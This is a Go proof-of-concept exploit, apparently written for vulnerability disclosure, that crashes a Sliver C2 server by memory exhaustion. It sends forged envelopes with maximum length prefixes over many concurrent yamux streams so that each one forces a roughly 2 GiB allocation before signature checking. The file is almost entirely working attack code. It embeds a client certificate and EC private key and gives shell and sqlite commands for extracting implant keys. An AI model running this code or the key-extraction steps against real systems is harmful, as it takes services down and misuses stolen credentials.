/* * Author: Skove (Anas) * Sliver - OOM "Kill-Switch" via Length-Prefix Abuse (CWE-789 / CWE-400) * Vulnerability: Uncontrolled Memory Allocation in socketReadEnvelope * Impact: Full Process OOM-Kill (SIGKILL) of Sliver Server + potential OS instability * * Root Cause (server/c2/mtls.go:323-380): * socketReadEnvelope() allocates a buffer up to ServerMaxMessageSize (~2 GiB) * based on an attacker-controlled uint32 length prefix BEFORE verifying the * Ed25519 envelope signature. With yamux concurrency (128 streams), a single * mTLS connection can trigger 128 × 2 GiB = 256 GiB of allocations. * * This PoC demonstrates how an attacker with a captured implant binary can * exhaust all server memory, causing the Linux OOM killer to terminate the * sliver-server process (and potentially other processes on the same host). * * Replace c2Endpoint, clientCertPEM, clientKeyPEM with values from a valid implant. * * Usage: go run mtls_oom_poc.go */ package main import ( "crypto/tls" "encoding/binary" "fmt" "log" "sync" "sync/atomic" "time" "github.com/hashicorp/yamux" ) var ( c2Endpoint = "192.168.1.6:7070" // The mTLS certificate and key extracted from a captured implant binary. // RUN: strings /path/to/implant_binary | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/' | tail -n 12 clientCertPEM = []byte(`-----BEGIN CERTIFICATE----- MIIBpDCCASqgAwIBAgIQGYBIy0Yp2AuqhgBbpqaz5TAKBggqhkjOPQQDAzAAMB4X DTI1MTAwOTE5NDM0NFoXDTI3MTAwOTE5NDM0NFowITEfMB0GA1UEAwwWQ09OVEVN UE9SQVJZX1RPTEVSQU5DRTB2MBAGByqGSM49AgEGBSuBBAAiA2IABFhzyVknVtsU ZT3gpSEZPwA4oTwX6m4PAvISpPv/d+Y28WugFEKf4uaYjgAXWu0pWpOkgrMyw2B5 NbbTsLqshTVNoI5ylEbMdWG6lm/+0Fi07BkqoJ4xyviFbEDhrBAfZKNIMEYwDgYD VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFChl jGbs2zREbd70jJCDY5S62hg7MAoGCCqGSM49BAMDA2gAMGUCMEnZUmui+2RIYYxE ew5/4U2MhJQcGDvbPOEWvQaaaFrraV+0TetaEYaXzf1Y9JuENwIxANl4X+rA98qs FLrhoittGVxbqdECSozROTDgBCAEVQsE6Djp4sEaX+hliYk6dmXFPA== -----END CERTIFICATE-----`) // RUN: strings /path/to/implant_binary | awk '/BEGIN EC PRIVATE KEY/,/END EC PRIVATE KEY/' // FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT private_key_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;" clientKeyPEM = []byte(`-----BEGIN EC PRIVATE KEY----- MIGkAgEBBDDgHrkkmB4p07051bJXphHvLukPElt1YDaSyeGSt0fqBpY1lp/ZAY/c LHlzbYLeLz6gBwYFK4EEACKhZANiAARYc8lZJ1bbFGU94KUhGT8AOKE8F+puDwLy EqT7/3fmNvFroBRCn+LmmI4AF1rtKVqTpIKzMsNgeTW207C6rIU1TaCOcpRGzHVh upZv/tBYtOwZKqCeMcr4hWxA4awQH2Q= -----END EC PRIVATE KEY-----`) ) const ( YamuxPreface = "MUX/1" // RawSigSize is the fixed-length Ed25519 signature prepended to each envelope. // 2 bytes algorithm + 8 bytes key ID + 64 bytes signature = 74 bytes RawSigSize = 74 // ServerMaxMessageSize from server/c2/mtls.go:55 // The server accepts any length up to this value BEFORE checking the signature. ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1 // 2,147,483,647 bytes (~2 GiB) // Number of concurrent yamux streams to open. // The server allows up to 128 (mtlsYamuxMaxConcurrentStreams). // Each stream triggers a separate ~2 GiB allocation. NumStreams = 64 // 64 × 2 GiB = 128 GiB ) func main() { // STAGE 1: BYPASS NETWORK AUTHENTICATION (mTLS) fmt.Println("[*] Loading extracted Implant certificates...") cert, err := tls.X509KeyPair(clientCertPEM, clientKeyPEM) if err != nil { log.Fatalf("[-] Failed to load client cert: %v", err) } tlsConfig := &tls.Config{ Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true, } fmt.Printf("[*] Connecting to mTLS endpoint %s...\n", c2Endpoint) conn, err := tls.Dial("tcp", c2Endpoint, tlsConfig) if err != nil { log.Fatalf("[-] TLS Connection failed: %v", err) } defer conn.Close() fmt.Println("[+] mTLS handshake successful!") // STAGE 2: INITIATE YAMUX MULTIPLEXING fmt.Println("[*] Sending Yamux preface...") if _, err := conn.Write([]byte(YamuxPreface)); err != nil { log.Fatalf("[-] Failed to send Yamux preface: %v", err) } session, err := yamux.Client(conn, nil) if err != nil { log.Fatalf("[-] Failed to create Yamux session: %v", err) } defer session.Close() fmt.Println("[+] Yamux session established!") // STAGE 3: TRIGGER OOM VIA CONCURRENT LENGTH-PREFIX ABUSE // // Attack flow per stream: // 1. Write a fake 74-byte "signature" (all zeros — doesn't matter, // the server reads it but checks it AFTER the allocation) // 2. Write a 4-byte little-endian uint32 length prefix = 0x7FFFFFFF // (2,147,483,647 bytes = ~2 GiB) // 3. The server calls make([]byte, 2147483647) — ALLOCATION HAPPENS // 4. The server then calls io.ReadFull() waiting for ~2 GiB of data // 5. We DON'T send any data — the connection just hangs. // The 2 GiB buffer sits allocated in memory. // 6. Repeat on N concurrent streams → N × 2 GiB memory consumed. // // The signature verification (ed25519.Verify) at mtls.go:368 never // executes because io.ReadFull at mtls.go:351 blocks forever. // The memory is allocated and held indefinitely. // fmt.Printf("[*] Opening %d concurrent yamux streams...\n", NumStreams) fmt.Printf("[*] Each stream will trigger a ~2 GiB allocation on the server\n") fmt.Printf("[*] Total target allocation: ~%d GiB\n", NumStreams*2) fmt.Println() // Fake signature buffer (74 bytes of zeros). // Content doesn't matter — the server reads it into rawSigBuf but // doesn't validate it until AFTER the giant allocation + io.ReadFull. fakeSig := make([]byte, RawSigSize) // Length prefix: request the maximum allocation size. lengthBuf := make([]byte, 4) binary.LittleEndian.PutUint32(lengthBuf, uint32(ServerMaxMessageSize)) var wg sync.WaitGroup var successCount atomic.Int32 var failCount atomic.Int32 startTime := time.Now() for i := 0; i < NumStreams; i++ { wg.Add(1) go func(streamNum int) { defer wg.Done() stream, err := session.Open() if err != nil { fmt.Printf(" [-] Stream %d: failed to open: %v\n", streamNum, err) failCount.Add(1) return } // NOTE: We intentionally do NOT close the stream or defer stream.Close(). // Keeping the stream open holds the server in io.ReadFull(), // which keeps the 2 GiB buffer allocated in memory. // Step 1: Send fake signature (74 bytes) if _, err := stream.Write(fakeSig); err != nil { fmt.Printf(" [-] Stream %d: failed to write sig: %v\n", streamNum, err) failCount.Add(1) return } // Step 2: Send length prefix (request ~2 GiB allocation) if _, err := stream.Write(lengthBuf); err != nil { fmt.Printf(" [-] Stream %d: failed to write length: %v\n", streamNum, err) failCount.Add(1) return } // Step 3: DON'T send any data. The server is now: // - Holding a 2 GiB buffer (make([]byte, 2147483647)) // - Blocked in io.ReadFull() waiting for data that will never arrive // - The buffer will remain allocated until the stream is closed current := successCount.Add(1) fmt.Printf(" [+] Stream %d: triggered ~2 GiB allocation (%d/%d active)\n", streamNum, current, NumStreams) }(i) // Small delay between stream opens to avoid overwhelming yamux time.Sleep(50 * time.Millisecond) } wg.Wait() elapsed := time.Since(startTime) fmt.Println() fmt.Println("═══════════════════════════════════════════════════════════════") fmt.Printf("[+] Attack complete in %v\n", elapsed.Round(time.Millisecond)) fmt.Printf("[+] Successful streams: %d\n", successCount.Load()) fmt.Printf("[+] Failed streams: %d\n", failCount.Load()) fmt.Printf("[+] Estimated server memory consumed: ~%d GiB\n", successCount.Load()*2) fmt.Println() fmt.Println("[*] The server is now holding all allocated buffers in memory.") fmt.Println("[*] The Linux OOM killer should terminate the sliver-server process.") fmt.Println("[*] Unlike a panic crash, OOM kills leave no clean stack trace.") fmt.Println() fmt.Println("[*] Check server status: systemctl status sliver") fmt.Println("[*] Check OOM logs: sudo dmesg | grep -i 'killed'") fmt.Println("if not, run the poc again") fmt.Println("═══════════════════════════════════════════════════════════════") // Keep the connection alive to maintain the allocations. // The server will be OOM-killed while we wait. fmt.Println() fmt.Println("[*] Holding connections open... Press Ctrl+C to exit.") select {} }